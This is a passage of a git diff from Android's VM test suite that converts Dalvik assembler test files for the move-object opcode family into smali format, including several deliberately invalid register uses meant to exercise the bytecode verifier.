+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_3.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+
+       move-object v1, v15
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.d
deleted file mode 100644
index f5538f4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_4.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       const v0, 1
-       move-object v1, v0
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.smali
new file mode 100644
index 0000000..a58a565
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_4.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       const v0, 1
+       move-object v1, v0
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.d
deleted file mode 100644
index d7951a5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_5.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       const-wide v0, 124
-
-       move-object v5, v0
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.smali
new file mode 100644
index 0000000..220594e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_5.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       const-wide v0, 124
+
+       move-object v5, v0
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.d
deleted file mode 100644
index 7db5136..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_6.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       const-wide v0, 124
-
-       move-object v5, v1
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.smali
new file mode 100644
index 0000000..4e38784
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_6.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       const-wide v0, 124
+
+       move-object v5, v1
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.d
deleted file mode 100644
index 0fe5509..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_7.java
-.class public dot.junit.opcodes.move_object.d.T_move_object_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 9
-       const-wide v0, 124
-
-       move-object v1, v8
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.smali
new file mode 100644
index 0000000..3c8dd8c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object/d/T_move_object_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_7.java"
+.class  public Ldot/junit/opcodes/move_object/d/T_move_object_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 9
+       const-wide v0, 124
+
+       move-object v1, v8
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.d
deleted file mode 100644
index b60a448..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_1.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5000
-       move-object/16 v4000, v4999
-       move-object/16 v1, v4000
-
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.smali
new file mode 100644
index 0000000..ff9d63f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_1.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5000
+       move-object/16 v4000, v4999
+       move-object/16 v1, v4000
+
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.d
deleted file mode 100644
index aad9893..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_3.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move-object/16 v0, v5000
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.smali
new file mode 100644
index 0000000..83a1533
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_3.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move-object/16 v0, v5000
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.d
deleted file mode 100644
index 463646c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_4.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-       move-object/16 v6, v4
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.smali
new file mode 100644
index 0000000..d7e3e33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_4.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+       move-object/16 v6, v4
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.d
deleted file mode 100644
index 8cceaff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_5.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       const v0, 1234    
-       move-object/16 v2000, v0
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.smali
new file mode 100644
index 0000000..623567e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_5.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       const v0, 1234    
+       move-object/16 v2000, v0
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.d
deleted file mode 100644
index 6a5035d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_6.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       const-wide v123, 123
-       move-object/16 v255, v123
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.smali
new file mode 100644
index 0000000..9eac412
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_6.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       const-wide v123, 123
+       move-object/16 v255, v123
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.d
deleted file mode 100644
index 0fce2b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_7.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-
-       const-wide v123, 123
-       move-object/16 v255, v124
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.smali
new file mode 100644
index 0000000..0556333
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_7.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_7.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+
+       const-wide v123, 123
+       move-object/16 v255, v124
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.d
deleted file mode 100644
index 8f0d925..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_16_8.java
-.class public dot.junit.opcodes.move_object_16.d.T_move_object_16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       move-object/16 v124, v4999
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.smali
new file mode 100644
index 0000000..77748f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_16/d/T_move_object_16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_16_8.java"
+.class  public Ldot/junit/opcodes/move_object_16/d/T_move_object_16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 5000
+
+       const-wide v123, 123
+       move-object/16 v124, v4999
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.d
deleted file mode 100644
index 434737e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_1.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5000
-       move-object/from16 v255, v4999
-       move-object/from16 v1, v255
-       
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.smali
new file mode 100644
index 0000000..c807aef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_1.java"
